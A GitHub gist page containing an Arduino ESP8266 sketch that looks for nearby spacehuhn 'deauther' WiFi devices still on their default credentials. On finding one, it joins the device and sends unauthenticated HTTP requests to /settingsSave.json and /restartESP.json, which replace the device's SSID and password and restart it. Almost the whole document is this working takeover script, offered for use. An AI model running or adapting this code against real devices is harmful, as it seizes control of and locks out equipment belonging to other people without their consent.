Skip to content

Instantly share code, notes, and snippets.

@davedarko
Created January 16, 2018 17:20
Show Gist options
  • Star 18 You must be signed in to star a gist
  • Fork 3 You must be signed in to fork a gist
  • Save davedarko/87183b00e77ffb8fc59f89bf3b23d561 to your computer and use it in GitHub Desktop.
Save davedarko/87183b00e77ffb8fc59f89bf3b23d561 to your computer and use it in GitHub Desktop.
Arduino Script to auto connect to deauthers by spacehuhn with standard passwords and replaces them with whatever you want.
#include <ESP8266WiFi.h>
WiFiClient client;
const char* ssid = "pwned";
const char* password = "deauther";
const char* host = "192.168.4.1";
void setup()
{
Serial.begin(115200);
Serial.println();
WiFi.begin(ssid, password);
}
void loop()
{
while (WiFi.status() != WL_CONNECTED) {
delay(500);
Serial.print(".");
return;
}
Serial.println();
Serial.println("FOUND ONE");
call_link("/settingsSave.json?ssid=nyannyan&password=trololololo");
delay(1000);
call_link("/restartESP.json");
delay(1000);
Serial.println();
Serial.println("BYE BYE");
Serial.println();
delay(1000);
}
void call_link(String url)
{
const int httpPort = 80;
if (!client.connect(host, httpPort)) {
Serial.println("connection failed");
return;
}
client.print(String("GET ") + url + " HTTP/1.1\r\n" +
"Host: " + host + "\r\n" +
"Connection: close\r\n\r\n");
Serial.println("request sent");
while (client.connected()) {
String line = client.readStringUntil('\r');
Serial.println(line);
}
}
@Superfrank1186
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment